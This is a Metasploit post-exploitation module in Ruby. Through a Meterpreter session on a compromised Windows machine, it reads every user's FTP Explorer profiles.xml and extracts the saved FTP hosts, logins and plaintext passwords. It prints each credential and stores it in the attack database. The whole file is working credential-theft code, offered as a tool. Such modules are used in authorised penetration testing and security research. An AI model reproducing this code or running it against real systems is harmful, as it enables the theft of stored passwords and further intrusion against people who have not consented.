##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##


require 'msf/core'
require 'rex'
require 'rexml/document'

class Metasploit3 < Msf::Post
  include Msf::Post::Windows::UserProfiles

  def initialize(info={})
    super( update_info( info,
      'Name'          => 'Windows Gather FTP Explorer (FTPX) Credential Extraction',
      'Description'   => %q{
        This module finds saved login credentials for the FTP Explorer (FTPx)
        FTP client for Windows.
      },
      'License'       => MSF_LICENSE,
      'Author'        => [ 'Brendan Coles <bcoles[at]gmail.com>' ],
      'Platform'      => [ 'win' ],
      'SessionTypes'  => [ 'meterpreter' ]
    ))
  end

  def run
    grab_user_profiles().each do |user|
      next if user['AppData'].nil?

      xml = get_xml(user['AppData'] + "\\FTP Explorer\\profiles.xml")
      unless xml.nil?
        parse_xml(xml)
      end
    end
  end

  def get_xml(path)
    begin
      connections = client.fs.file.new(path, 'r')

      condata = ''
      until connections.eof
        condata << connections.read
      end
      return condata
    rescue Rex::Post::Meterpreter::RequestError => e
      print_error "Error when reading #{path} (#{e.message})"
      return nil
    end
  end

  # Extracts the saved connection data from the XML.
  # Reports the credentials back to the database.
  def parse_xml(data)
    mxml = REXML::Document.new(data).root
    mxml.elements.to_a("//FTPx10//Profiles//").each.each do |node|
      next if node.elements['Host'].nil?
      next if node.elements['Login'].nil?
      next if node.elements['Password'].nil?

      host = node.elements['Host'].text
      port = node.elements['Port'].text
      user = node.elements['Login'].text
      pass = node.elements['Password'].text

      # skip blank passwords
      next if !pass or pass.empty?

      # show results to the user
      print_good("#{session.sock.peerhost}:#{port} (#{host}) - '#{user}:#{pass}'")

      # save results to the db
      if session.db_record
        source_id = session.db_record.id
      else
        source_id = nil
      end
      report_auth_info(
        :host        => host,
        :port        => port,
        :source_id   => source_id,
        :source_type => "exploit",
        :user        => user,
        :pass        => pass
      )
    end
  end

end